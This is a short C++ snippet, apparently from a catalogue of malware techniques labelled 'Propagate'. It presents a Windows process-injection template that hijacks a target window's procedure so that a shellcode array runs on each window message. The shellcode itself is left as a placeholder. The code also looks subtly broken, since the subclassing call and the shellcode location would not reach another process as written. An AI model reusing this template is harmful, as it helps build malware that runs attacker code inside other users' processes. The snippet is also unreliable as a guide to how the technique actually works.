Windows C++ / Propagate

Code

#include <windows.h>

// Function prototype for the shellcode to be injected
typedef void (*ShellcodeFunc)(void);

// The shellcode to be injected into the target process
unsigned char shellcode[] = {
    // Insert shellcode here
};

// The original window procedure for the target window
WNDPROC originalWndProc;

// The window subclassing callback function
LRESULT CALLBACK SubclassProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
    // Execute the shellcode
    ((ShellcodeFunc)shellcode)();

    // Call the original window procedure
    return CallWindowProc(originalWndProc, hwnd, uMsg, wParam, lParam);
}

int main()
{
    // Get the handle of the target window
    HWND hwnd = FindWindow(NULL, "Target Window Title");
    if (hwnd == NULL)
        return 1;

    // Get the window procedure for the target window
    originalWndProc = (WNDPROC)GetWindowLongPtr(hwnd, GWLP_WNDPROC);
    if (originalWndProc == NULL)
        return 1;

    // Set the window subclassing callback function for the target window
    SetWindowLongPtr(hwnd, GWLP_WNDPROC, (LONG_PTR)SubclassProc);

    return 0;
}